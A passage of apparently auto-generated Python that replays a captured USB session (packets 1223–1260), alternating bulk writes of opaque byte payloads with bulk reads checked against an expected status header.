b\"\\xDC\\x72\\xEA\\x5F\\x13\\x39\\xA9\\x0D\\x2F\\xD6\\xD8\\xD2\\xB0\\xAB\\x02\\xFA\"\n b\"\\x48\\x86\\xEB\\xEE\\x79\\xBD\\x3B\\xC5\\x7D\\xA1\\xC2\\xA0\\x1A\\xD8\\x32\\x25\"\n b\"\\xE3\\xE7\\x0E\\xE2\\x08\\x49\\xBF\\xEA\\xDA\\xC3\\xC8\\xAE\\x33\\x43\\xB4\\x7E\"\n b\"\\xFD\\xCF\\x13\\xE6\\xD5\\xB1\\x7F\\x5A\\x46\\x25\\x7D\\x50\\x61\\x10\\xD9\\x5C\"\n b\"\\x56\\x97\\xCE\\x0E\\x5C\\x2A\\x96\\x07\\x8D\\xA0\\xC4\\x4B\\xAF\\xF3\\x09\\x3D\"\n b\"\\xD7\\x4D\\x9D\\x92\\x9F\\x8C\\xF2\\x56\\xD8\\x6A\\x6F\\x9C\\x40\\x24\\x3B\\x8D\"\n b\"\\x3C\\x55\\xCD\\xB3\\xF1\\x1A\\x5C\\xEB\\xBB\\xEB\\x2D\\x5B\\xC1\\xEF\\x50\\x91\"\n b\"\\xDA\\x69\\x6C\\x78\\x8D\\x4F\\x3D\\xD4\\xB5\\x27\\xCF\\x3A\\xE8\\x44\\x3E\\xA7\"\n b\"\\xDE\\x98\\x0B\\xBE\\xC6\\x33\\x13\\x83\\x92\\x27\\x4D\\xD6\\x58\\x50\\x9B\\xEE\"\n b\"\\x8B\\x26\\x21\\x9D\\x67\\x03\\xCB\\x4F\\x5D\\x14\\x44\\x70\\x4D\\x5B\\xB3\\x5F\"\n b\"\\x94\\x04\\xA8\\x8F\\xE0\\xFD\\x82\\x6D\\x67\\x64\\x42\\x6F\\x32\\x7D\\x38\\x9C\"\n b\"\\x44\\x75\\x86\\x55\\x64\\xA9\\x6A\\xD8\\xBB\\x11\\xBB\\x84\")\n # Generated from packet 1223/1224\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1223/1224\")\n # Generated from packet 1225/1226\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB6\\xAA\\x22\\x8B\\xC5\\x45\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x7A\\x19\\x63\\x05\\xBA\\x49\\x25\\x1F\"\n b\"\\x03\\x4A\\xC8\\xBF\\xB8\\xC9\\x10\\x91\\x2F\\xDA\\xAB\\xBB\\x11\\x39\\x43\\xE9\"\n b\"\\x16\\x3F\\x3A\\x68\\x55\\xF6\\x43\\x61\\xA9\\x35\\x3A\\xC5\\x55\\xBD\\xA5\\xD6\"\n b\"\\x21\\xA8\\x06\\xEB\\x2C\\x99\\x5B\\x6A\\x9F\\xBB\\x78\\x87\\x74\\xDB\\x5F\\xA9\"\n b\"\\xF0\\x16\\x8C\\x85\\x77\\x95\\x02\\x61\\xF5\\x2E\\x92\\x26\\x81\\x05\\xD2\\xCF\"\n b\"\\xF3\\xB9\\xF6\\x4F\\x24\\xB5\\x2C\\xC3\\x63\\x5B\\xB2\\x64\\xB4\\xCA\\x3E\\x3C\"\n b\"\\xF5\\x9A\\x8D\\x5B\\xB3\\x74\\x57\\xC8\\x07\\x0C\\x5D\\x09\\x17\\x80\\x6D\\xBE\"\n b\"\\x3D\\x30\\x2A\\x0D\\x76\\x00\\xE6\\x7D\\xC0\\x63\\xAA\\x06\\x94\\x1D\\x70\\x5C\"\n b\"\\xE3\\xBD\\xCF\\x54\\x4F\\x7A\\x1A\\xB3\\x76\\xE1\\x06\\xC1\\x04\\x83\\x64\\x35\"\n b\"\\x8E\\xD2\\xBB\\xF4\\x63\\x92\\xCC\\x01\\x05\\x0E\\xB0\\x01\\x99\\x3E\\xD2\\x75\"\n b\"\\x07\\xC9\\xB1\\x5C\\x0F\\xCA\\x0A\\xD3\\x64\\xFC\\x62\\x4D\\xAB\\xC7\\x48\\xBA\"\n b\"\\xBA\\x3F\\x2A\\xA2\\x1B\\xCB\\x2A\\x13\\xDC\\x33\\x7D\\x0B\\x6C\\xC3\\x54\\xD1\"\n b\"\\x91\\xAA\\x75\\x6D\\xF2\\xB3\\x90\\x5E\\x5F\\x35\\xF2\\x27\\x02\\x24\\x26\\x78\"\n b\"\\x9E\\xC2\\xB1\\xFE\\xD8\\x1B\\xCF\\xC7\\xE0\\x0D\\x86\\xA8\\x76\\xC7\\x92\\xF7\"\n b\"\\xCF\\xF5\\x88\\x14\\x17\\xB1\\xAF\\x2A\\xE3\\xAD\\xFB\\x0C\\x0F\\xEC\\x3E\\xE5\"\n b\"\\x3C\\x61\\x3D\\x4D\\xC5\\x35\\x90\\xC5\\x1D\\x22\\x0E\\x68\\x63\\xE1\\x98\\xCE\"\n b\"\\xF3\\x53\\x6D\\xB2\\x84\\x50\\x4F\\x7F\\xCD\\x34\\xEB\\xFB\")\n # Generated from packet 1227/1228\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1227/1228\")\n # Generated from packet 1229/1230\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x9C\\xB2\\x99\\x6C\\x60\\x39\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x52\\xE6\\xF6\\xD5\\xFC\\x2D\\xFE\\x68\"\n b\"\\xED\\x04\\xEF\\x09\\xAB\\xA5\\x36\\xE7\\x8D\\xF1\\x7D\\xF0\\xED\\xC8\\xFA\\x2E\"\n b\"\\xE2\\x51\\x86\\xDE\\x7A\\xB4\\xA5\\xF9\\xE3\\xB4\\x1B\\x18\\x91\\x43\\xF5\\xB0\"\n b\"\\x88\\xF0\\x76\\x20\\xE3\\xDD\\x0E\\xE2\\xAA\\x80\\xCB\\x5A\\xA3\\x2E\\xFA\\x16\"\n b\"\\x38\\xEB\\xD8\\xD9\\xCA\\xDA\\x15\\xFE\\x0C\\x3D\\x13\\xE0\\x60\\x45\\xC2\\xA8\"\n b\"\\x3A\\xEB\\x4B\\x6C\\x30\\xBD\\x2E\\xD4\\xAC\\xE0\\xB6\\x05\\xFB\\x33\\x5C\\x0E\"\n b\"\\x83\\x21\\x29\\x3C\\x21\\x72\\x97\\x76\\xDB\\x56\\x82\\xAA\\xEA\\x68\\xBC\\xFC\"\n b\"\\xB2\\xE4\\xE7\\xED\\xCC\\xF5\\x5D\\xB3\\xA6\\xE8\\x29\\x7B\\x9D\\x0C\\xB3\\xB2\"\n b\"\\xB1\\xA7\\xAA\\x65\\xF6\\xE5\\xF2\\x99\\x6D\\x54\\x8D\\x5C\\xD2\\x17\\x12\\x2C\"\n b\"\\x85\\x7D\\x0C\\x5A\\xA4\\x9A\\x49\\x00\\xEA\\xF8\\xCE\\x9D\\xE3\\xF6\\xCB\\xD8\"\n b\"\\xCB\\xFE\\x89\\xB4\\xFA\\xF4\\x5A\\xE5\\xDD\\x19\\xC3\\x5F\\x7E\\x47\\x99\\x6E\"\n b\"\\x24\\xCA\\xD7\\xEF\\x2D\\xD2\\x67\\x3C\\x04\\xA5\\x66\\x58\\x4D\\xF8\\xDC\\x8E\"\n b\"\\x5D\\x49\\xAF\\xB3\\x50\\x5D\\x8A\\x7F\\x08\\x57\\x1A\\xC0\\x43\\xF9\\xFF\\x1D\"\n b\"\\x4C\\xF4\\x1A\\x51\\x20\\xF8\\x30\\xC5\\x69\\xA6\\x63\\x11\\x74\\x08\\x22\\x99\"\n b\"\\xD5\\x7F\\xCD\\x69\\xA8\\xB3\\x9C\\xD8\\x4B\\x97\\xB8\\x4D\\xDC\\x93\\x79\\xA1\"\n b\"\\x76\\xF9\\xBC\\x87\\x68\\xED\\xD6\\x9D\\x8B\\x1E\\x7A\\xD9\\x82\\x56\\xDB\\xBF\"\n b\"\\x6C\\x8E\\xD3\\x44\\xAC\\x91\\x0B\\x58\\xBB\\x84\\xDC\\x4B\")\n # Generated from packet 1231/1232\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1231/1232\")\n # Generated from packet 1233/1234\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x35\\x7A\\x8F\\xC6\\x59\\x34\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFA\\x57\\x83\\x83\\x3E\\x68\\x1A\\x73\"\n b\"\\xE3\\x41\\xAA\\xFE\\xC5\\x8B\\x83\\x44\\xDD\\xB6\\xBC\\x99\\xCA\\xCB\\x71\\xEC\"\n b\"\\x9A\\x20\\x2A\\x6F\\xDA\\xE8\\x75\\x2A\\x73\\xEF\\xD9\\xAC\\x25\\x80\\x9D\\x44\"\n b\"\\x86\\xA7\\xA7\\xE3\\xE5\\x94\\x1D\\xFF\\x09\\xD2\\xCF\\xB0\\x87\\x63\\x3A\\x35\"\n b\"\\xE7\\x15\\x0E\\xE2\\x95\\x07\\xD9\\xE2\\x1D\\xD4\\x8F\\x9C\\x39\\x78\\x0A\\x71\"\n b\"\\xA7\\xF5\\xFB\\x0F\\xF9\\xAC\\xB8\\x00\\xDD\\xB6\\xC7\\x3A\\x22\\x77\\x9D\\x80\"\n b\"\\x55\\xF4\\xEE\\x0F\\x8D\\xF4\\x4A\\x17\\xE2\\x4F\\xE8\\x37\\x90\\x49\\x89\\x11\"\n b\"\\x32\\xD6\\x96\\x78\\xF9\\x39\\xC6\\x1E\\x91\\xCE\\x74\\x46\\xB1\\x37\\xDF\\xD5\"\n b\"\\x49\\x06\\x0B\\x37\\x64\\x99\\x0E\\x0B\\xD8\\x80\\x69\\x16\\x6A\\x98\\x46\\x04\"\n b\"\\xB3\\xFB\\x28\\x7D\\xAA\\xD4\\x90\\xDA\\x3D\\xB7\\xB9\\x3A\\x3D\\x62\\xC8\\xE2\"\n b\"\\xF3\\x83\\x79\\x36\\x5B\\x98\\x63\\x93\\x0F\\x8E\\xFF\\xBA\\x09\\x87\\x1D\\xF2\"\n b\"\\xDC\\x7D\\xD2\\xBD\\xB0\\x68\\xEB\\x4D\\x8C\\xCA\\x98\\x60\\x9A\\x30\\x93\\x5E\"\n b\"\\x93\\x78\\x74\\x97\\xB7\\x4A\\xE6\\x7C\\x78\\x0D\\x82\\x76\\xF5\\x7C\\xE8\\x28\"\n b\"\\x64\\x66\\xBC\\x6B\\x47\\xF3\\x58\\x66\\xB8\\x59\\x4C\\xE4\\xF2\\x1E\\x19\\x18\"\n b\"\\x91\\x63\\x8D\\xF0\\xE3\\x77\\xA9\\x97\\x83\\x99\\xBD\\x29\\xB7\\x64\\x74\\xC7\"\n b\"\\x4A\\xDC\\xEA\\xF2\\x6C\\x27\\x8A\\xF0\\x92\\x23\\xD2\\x99\\xA7\\xBD\\xF8\\xDA\"\n b\"\\x73\\x85\\xE6\\xF5\\x84\\x9D\\x4E\\x9C\\xA4\\xF9\\x5E\\x46\")\n # Generated from packet 1235/1236\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1235/1236\")\n # Generated from packet 1237/1238\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x0F\\x6B\\x7E\\x0F\\x3D\\x26\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x97\\x42\\xDA\\x6E\\xEE\\x03\\xE4\\x29\"\n b\"\\x5F\\xE1\\x49\\xDB\\x15\\xD5\\x56\\x6B\\xD1\\x5E\\xA5\\xB0\\x50\\xE4\\x4F\\xD8\"\n b\"\\x26\\xEA\\x27\\x73\\x44\\xE2\\x94\\xB7\\xA2\\x65\\xFC\\x7E\\x8A\\x9E\\xC5\\xEE\"\n b\"\\x55\\xCA\\x81\\x2D\\xF2\\xA0\\x93\\x10\\xAF\\xAD\\xD2\\xC1\\xD7\\x47\\x7E\\x34\"\n b\"\\x87\\xF8\\x1C\\x97\\xD7\\x4C\\x6B\\x4B\\x2C\\xCD\\x3D\\x9F\\x3D\\x23\\x27\\x20\"\n b\"\\x94\\x70\\xD7\\x87\\x7F\\xD4\\x97\\x59\\xEF\\xBC\\xA0\\x6F\\x70\\xD9\\x2F\\x4A\"\n b\"\\xAA\\x69\\xEB\\x3D\\x40\\x0C\\x60\\xD5\\xC7\\x23\\x8D\\xCA\\x68\\xE8\\x21\\x80\"\n b\"\\xFA\\x96\\x6B\\x3D\\xEF\\x3A\\xD0\\xEC\\xD0\\x9D\\xDE\\xFC\\xB4\\x22\\x8C\\x9C\"\n b\"\\xD8\\x9E\\x45\\x30\\x08\\xF6\\x6C\\xFF\\x3E\\xA4\\x70\\x42\\xB5\\xCA\\x24\\xC7\"\n b\"\\x11\\x9F\\xFF\\xB2\\xFB\\xDA\\x0B\\x46\\x84\\xFB\\x61\\xE0\\x31\\xA4\\x07\\x09\"\n b\"\\xC3\\xCA\\x04\\xFF\\x99\\x00\\x7E\\x89\\xEA\\x41\\x8A\\x78\\xA7\\x71\\x45\\xBA\"\n b\"\\x3D\\xCF\\xF3\\xFB\\x95\\x66\\x39\\xEE\\x93\\x52\\xF4\\x6F\\x17\\xBC\\x32\\xEA\"\n b\"\\x37\\x06\\xC3\\xE4\\xAE\\x56\\x72\\xB1\\x45\\xC0\\x7A\\x2D\\x8C\\x6A\\xA5\\x38\"\n b\"\\xB6\\x6B\\x24\\x82\\x26\\x11\\x48\\xFB\\x7F\\x3A\\xB5\\x5D\\x0B\\x40\\x95\\xF2\"\n b\"\\xBA\\x8B\\x06\\xAB\\xA1\\x1A\\x6D\\xB7\\xD9\\x93\\xF0\\x29\\x1C\\xEB\\xD0\\xCF\"\n b\"\\x62\\x54\\x76\\x81\\xA9\\x06\\x5A\\xF0\\x93\\x8C\\xB6\\x30\\x05\\xBC\\x06\\x94\"\n b\"\\x3D\\xE4\\x41\\xEF\\xA4\\x58\\x95\\x6E\\x2D\\xB5\\xC0\\xD5\")\n # Generated from packet 1239/1240\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1239/1240\")\n # Generated from packet 1241/1242\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x30\\x5C\\x59\\x6F\\x97\\x3B\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB6\\xC0\\x71\\xEF\\x9E\\xCA\\x82\\x52\"\n b\"\\x30\\xB0\\xDC\\xBC\\x69\\x04\\xDE\\x3E\\x5B\\xDA\\xAC\\xF4\\xDB\\x7F\\xBF\\x2A\"\n b\"\\xF2\\x79\\x6B\\x43\\x0D\\xC7\\xB9\\x45\\x78\\x30\\xCB\\x49\\x94\\xA4\\x8B\\x29\"\n b\"\\x4B\\x67\\x1F\\x6C\\x31\\x8A\\xDA\\x01\\xFF\\xD4\\xF1\\xFD\\x5C\\x55\\x11\\xC7\"\n b\"\\x5A\\xED\\x87\\x6D\\x00\\x6A\\x73\\x77\\x47\\xA5\\xA6\\x30\\x37\\xDD\\x04\\xF2\"\n b\"\\x0C\\x95\\xA8\\x90\\xCE\\x88\\x92\\x9A\\x60\\x95\\x8E\\xBF\\xC3\\x13\\x0F\\xB0\"\n b\"\\xB0\\x66\\x3D\\xD3\\xF9\\x74\\x1E\\x10\\x08\\x64\\x6A\\x96\\xBD\\xEA\\x41\\x11\"\n b\"\\xCF\\x24\\x33\\x82\\x57\\x9C\\x5B\\x24\\x8C\\xD6\\x1B\\x44\\xFF\\x7B\\x87\\x6E\"\n b\"\\xA8\\x01\\xF0\\x6A\\xF3\\xED\\xED\\x8C\\x42\\xE7\\x0B\\xE2\\xEE\\x1A\\x09\\xB2\"\n b\"\\xC6\\xF5\\x35\\x25\\xE8\\xBC\\x7E\\x84\\x64\\x46\\xBC\\x74\\x85\\x12\\x6F\\xB2\"\n b\"\\xFB\\x04\\xC0\\x36\\x26\\xC6\\xE5\\x82\\xE1\\x29\\x24\\x90\\xB3\\x3F\\x73\\x8A\"\n b\"\\xF8\\xB3\\xE9\\x87\\xA0\\xA9\\x3D\\x04\\x9E\\xF3\\xAE\\x08\\x83\\x73\\xDD\\xA9\"\n b\"\\xE1\\x59\\x61\\x78\\xA1\\x7A\\xFC\\x88\\x36\\x42\\xAD\\x1C\\xF4\\x32\\x51\\xBF\"\n b\"\\x79\\x7A\\xD9\\x0F\\xC7\\x6C\\xC8\\x14\\x78\\x87\\x29\\x33\\x43\\x60\\x5E\\xAA\"\n b\"\\x82\\x3B\\x6B\\x40\\x8F\\xFE\\xAE\\xA2\\x38\\x00\\x14\\x23\\x8A\\xB3\\xD1\\x33\"\n b\"\\x65\\x9A\\xB3\\x76\\xD4\\x47\\xF8\\xB1\\xDE\\xB9\\x0B\\xD0\\x0A\\xA4\\x4A\\x48\"\n b\"\\x52\\x8F\\x6B\\xDE\\x72\\x4D\\xA0\\x4B\\x9C\\xEA\\x0B\\x15\")\n # Generated from packet 1243/1244\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1243/1244\")\n # Generated from packet 1245/1246\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x48\\x40\\x4B\\xEB\\x27\\x40\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x69\\x32\\x7C\\xDE\\x88\\x79\\x59\\x18\"\n b\"\\xDB\\xE7\\x88\\xD7\\xFD\\xF9\\xA1\\x10\\x8F\\xA7\\xC0\\x10\\xB1\\x2D\\x64\\xEA\"\n b\"\\xE1\\x01\\xE1\\x35\\xA1\\xBA\\x95\\x7F\\x07\\xFE\\xC6\\xF8\\x76\\x03\\xB3\\x9D\"\n b\"\\x57\\x4D\\x08\\x7C\\xAC\\x52\\xBD\\x2E\\x8C\\xD4\\xEA\\xFA\\x1A\\xFE\\x54\\xC7\"\n b\"\\x1B\\x6E\\x64\\x35\\x69\\xA5\\xDD\\x76\\xD3\\xE1\\x36\\x71\\x4C\\xC4\\x52\\x20\"\n b\"\\xFA\\x7E\\x0E\\xAE\\xA4\\x52\\x00\\x93\\x12\\xBD\\x8D\\x32\\x3B\\x7B\\x2B\\x54\"\n b\"\\x8E\\x26\\x6F\\xC1\\xDE\\x0F\\x39\\x72\\xD7\\x2C\\xAB\\x9F\\x59\\x52\\xB9\\xAC\"\n b\"\\x8C\\x0F\\x14\\x01\\xF0\\x49\\x13\\xC3\\x42\\xF1\\x5D\\xD4\\xB3\\x70\\xCC\\x7D\"\n b\"\\xF1\\xAA\\xBB\\x9D\\x0F\\x88\\x34\\xB2\\xE7\\x18\\x29\\x58\\x72\\x2D\\xD7\\xD8\"\n b\"\\x84\\xCF\\x0B\\x72\\xCD\\x31\\x8D\\x19\\xC6\\x77\\xE8\\x5D\\x9B\\xAE\\xB0\\x79\"\n b\"\\xCA\\x8C\\x5E\\xB1\\x8F\\x7D\\x42\\x18\\x6B\\x3B\\xEF\\x8F\\x28\\x92\\xC1\\x7D\"\n b\"\\x14\\x59\\xD7\\x6F\\xA0\\x64\\x1E\\x3C\\x18\\x01\\x77\\x52\\xB7\\x18\\x00\\xC8\"\n b\"\\x15\\xB7\\x84\\x25\\x9E\\xF2\\xFE\\x3D\\x4F\\xA6\\x69\\x92\\x31\\xA8\\x2C\\x22\"\n b\"\\xA2\\x22\\xC6\\xF6\\x6D\\xBE\\xF6\\xEB\\xCE\\xC5\\x04\\x06\\x23\\xC8\\xA1\\xA9\"\n b\"\\x00\\x68\\xE1\\xFA\\x8A\\x5F\\xE4\\x84\\x0E\\x3F\\xEA\\x28\\x36\\xDC\\xDE\\x79\"\n b\"\\xA2\\x08\\xCE\\xC0\\x3C\\x30\\xBA\\xDC\\xD7\\xF5\\xCA\\xBA\\x6E\\xED\\x5F\\x8E\"\n b\"\\x3A\\x04\\x46\\x36\\x82\\x59\\x83\\x5D\\xA8\\xE8\\x59\\x18\")\n # Generated from packet 1247/1248\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1247/1248\")\n # Generated from packet 1249/1250\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE6\\xA9\\xBC\\x0C\\x8A\\x13\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC5\\x10\\x22\\x79\\x52\\xB1\\x9D\\xAD\"\n b\"\\x92\\xFD\\x37\\xFF\\xA4\\xAA\\x37\\x62\\x74\\x05\\x4C\\xD6\\x7F\\xC8\\x9D\\x52\"\n b\"\\x2B\\x14\\xB5\\xA9\\x3E\\xE0\\x0D\\xFD\\x52\\x17\\x7A\\x38\\xE1\\x7A\\x70\\x95\"\n b\"\\xAC\\x98\\x81\\x5C\\x1C\\x7B\\x60\\x5A\\xA6\\x83\\x0A\\xA6\\x00\\x3E\\xB8\\xF9\"\n b\"\\x42\\xB7\\x6D\\x43\\x1C\\xF6\\x76\\x62\\xCD\\xF2\\x76\\xBA\\x8A\\x79\\x0D\\x24\"\n b\"\\x2F\\x50\\xCF\\x16\\x6E\\x4D\\x86\\xEA\\xF6\\xCB\\xC4\\x1B\\x83\\x9C\\x4D\\x38\"\n b\"\\x3F\\x1A\\x59\\x8E\\x14\\xE2\\xBD\\xB6\\xA7\\x3D\\x5C\\x66\\xEB\\x1E\\x85\\x9D\"\n b\"\\x81\\xDA\\xED\\xB2\\x5A\\x20\\xE2\\xFB\\x5F\\x78\\xF2\\xA7\\xAE\\xC4\\xC9\\x9A\"\n b\"\\x2E\\x27\\xFC\\x51\\xB4\\xD4\\x6D\\xC0\\xC8\\xBE\\x09\\x5B\\x47\\x92\\x7C\\x46\"\n b\"\\x30\\xF1\\xD8\\x65\\xF4\\x42\\xD8\\x1A\\x7D\\x80\\x89\\x8A\\x51\\x99\\xCB\\x1E\"\n b\"\\x7B\\x9B\\x2A\\xC1\\xCA\\xCC\\xE3\\x8F\\x6F\\x71\\x5A\\x51\\xA2\\xFC\\x23\\xF7\"\n b\"\\x6B\\x2B\\xA8\\x8F\\xC6\\x50\\xD6\\xFC\\x10\\xB3\\x6A\\xAF\\x00\\x18\\x6E\\x29\"\n b\"\\x2B\\xFA\\x4C\\xB5\\xC7\\x23\\x1A\\x5C\\x18\\xC9\\xDF\\x88\\xC5\\x19\\x86\\xAB\"\n b\"\\xAB\\x37\\x02\\x0E\\x74\\x25\\xA7\\xA1\\x85\\x5D\\xAB\\x87\\xF5\\x01\\xF9\\x31\"\n b\"\\x4B\\x41\\x0C\\x8B\\xE3\\xB3\\x1C\\xFC\\x4A\\x8F\\x84\\x91\\xFF\\x20\\xA4\\x67\"\n b\"\\xB9\\xF9\\xEA\\x75\\x8C\\xD1\\x56\\xA5\\x75\\x2A\\xDD\\x0C\\x0F\\x18\\x17\\x7D\"\n b\"\\xE0\\xC6\\xE1\\xAF\\x9A\\x74\\x58\\x04\\x8A\\x47\\x4C\\x75\")\n # Generated from packet 1251/1252\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1251/1252\")\n # Generated from packet 1253/1254\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xC4\\x9C\\x03\\x8E\\x59\\x29\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\xDF\\x71\\x15\\xE4\\x9B\\xA3\\x25\"\n b\"\\x22\\xF0\\x36\\x3B\\x86\\x86\\x32\\x1D\\x31\\x80\\x65\\x34\\xE8\\x38\\x4A\\xCA\"\n b\"\\x56\\x19\\x40\\x94\\x46\\xD1\\x9C\\x83\\x9A\\x32\\xEF\\xC3\\xD8\\x7A\\xC9\\x45\"\n b\"\\x10\\x6E\\x39\\xD9\\x2C\\xF1\\xE6\\x2E\\x34\\x8D\\x36\\x09\\x6E\\x72\\x79\\x05\"\n b\"\\x2D\\x5A\\x6C\\xEB\\x3B\\x77\\x0E\\x10\\x92\\xC9\\xF9\\x3D\\xA5\\x43\\xC2\\xD9\"\n b\"\\xCD\\xA6\\xB9\\xF7\\x07\\xA7\\x92\\x70\\xDE\\x47\\x35\\x3B\\xC8\\xF4\\x82\\x71\"\n b\"\\xE3\\x32\\x1E\\x3D\\x2D\\x3A\\xFE\\x77\\x60\\x90\\xD2\\x94\\xF1\\xE2\\x58\\xEB\"\n b\"\\xAC\\xBF\\xEA\\x8D\\x8D\\x7E\\xAE\\x05\\xB1\\x51\\xC1\\xD6\\x0F\\xDB\\x46\\xB5\"\n b\"\\x96\\x50\\x1E\\x6C\\xE8\\x84\\x98\\x41\\x66\\xAB\\xAD\\x36\\x4E\\x3F\\xED\\x67\"\n b\"\\x70\\xD1\\xB1\\x7B\\x67\\x01\\x05\\xF6\\x85\\x3D\\xD4\\x88\\xA1\\x9D\\x78\\x17\"\n b\"\\x19\\xB0\\x24\\x25\\x53\\xBB\\x01\\x0A\\x67\\x7D\\xFA\\xBE\\x8E\\x2C\\x48\\xAC\"\n b\"\\x15\\x12\\xC7\\x94\\x61\\x0A\\xC2\\xF0\\xB2\\x16\\x64\\x37\\xDA\\x3F\\xA1\\xA1\"\n b\"\\x41\\xCC\\xD1\\xC3\\xCF\\x5F\\x8F\\x02\\x1F\\x16\\x5F\\xFD\\x3D\\xB3\\x78\\xF8\"\n b\"\\xE5\\x37\\x78\\x27\\x2A\\xB3\\x9F\\xFB\\x29\\xFD\\xAC\\x0A\\x78\\x6B\\x95\\x4A\"\n b\"\\x57\\x1F\\x35\\x33\\xE6\\xEF\\x7E\\x84\\xA5\\x03\\xBC\\x60\\x8B\\xAB\\x4E\\x93\"\n b\"\\x7E\\xF0\\xDE\\x7E\\x78\\x08\\x17\\x62\\xD5\\xB2\\x26\\x6B\\xB5\\x87\\x15\\x72\"\n b\"\\x60\\xF9\\x0A\\x78\\x7B\\x8B\\x96\\xBE\\xEC\\xA7\\x70\\x75\")\n # Generated from packet 1255/1256\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1255/1256\")\n # Generated from packet 1257/1258\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xCB\\x65\\x42\\xC8\\x76\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x9F\\x88\\xFD\\x44\\x00\\x4C\\xC9\\x49\"\n b\"\\x53\\x75\\x7C\\x03\\x2A\\x3C\\x47\\x35\\x24\\x77\\x9A\\x0D\\xE8\\x29\\xCA\\xBC\"\n b\"\\xF1\\xB5\\xBC\\xBE\\x3D\\x79\\x82\\x39\\x67\\x82\\xF0\\xEB\\x94\\x1C\\x73\\x76\"\n b\"\\x60\\x4B\\xCF\\xA4\\x4A\\xCD\\x09\\x39\\x83\\xB0\\x1C\\x74\\xB9\\xFD\\x52\\xA4\"\n b\"\\xE0\\xA0\\xB4\\x7C\\x2A\\x68\\x58\\xA4\\x8C\\xC3\\x81\\x52\\x45\\x08\\x04\\xC5\"\n b\"\\xF7\\x28\\x3F\\x7E\\xA8\\x11\\xC3\\xE4\\x82\\xB6\\x70\\x35\\x93\\xC7\\x5C\\x93\"\n b\"\\x45\\x07\\xD7\\xA5\\x09\\x33\\xF9\\x43\\x25\\x02\\x00\\x47\\x09\\xAE\\x2E\\x43\"\n b\"\\x7C\\x16\\xFA\\x31\\x43\\x06\\xB1\\x82\\x6C\\x09\\x1C\\xF8\\x2B\\x01\\x26\\x07\"\n b\"\\x4B\\xF6\\x86\\x53\\x5C\\x79\\x97\\xA8\\xAA\\x49\\x2E\\xC6\\x61\\xB1\\xF6\\x9A\"\n b\"\\x0E\\x05\\x9E\\xD3\\x3F\\xE5\\xAA\\xEB\\x20\\x37\\x1D\\xF0\\xDD\\xEE\\x51\\x95\"\n b\"\\x97\\xF3\\xAB\\xDF\\x61\\xF9\\xB3\\x09\\x2D\\xA7\\x3D\\xB4\\x78\\x40\\x73\\xF4\"\n b\"\\x7A\\x7E\\xFD\\xA0\\x41\\xB3\\x3A\\x98\\x31\\x97\\xF3\\x6C\\x03\\x3D\\x08\\x66\"\n b\"\\xAF\\xBB\\x79\\x1B\\xB1\\x89\\x68\\x6E\\xDB\\x0E\\x62\\xA4\\xA4\\xEC\\x72\\x2E\"\n b\"\\x3C\\x7D\\xEC\\x14\\xBD\\xE4\\xF5\\x55\\x9B\\x6F\\xE2\\x10\\xA4\\xCF\\x7E\\xBF\"\n b\"\\x3C\\x5B\\x0F\\xE0\\x03\\x82\\x1D\\x1D\\xB8\\x52\\xB9\\xDC\\x2D\\xCE\\x8B\\x99\"\n b\"\\x21\\x0B\\xA3\\xAE\\x75\\xB8\\x7E\\x54\\xB5\\xD8\\xB2\\x73\\xF8\\xA7\\xCF\\xE2\"\n b\"\\xB2\\x9D\\x63\\x03\\x66\\x06\\x6E\\x8D\\xC7\\xFF\\x20\\x02\")\n # Generated from packet 1259/1260\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1259/1260\")\n # Generated 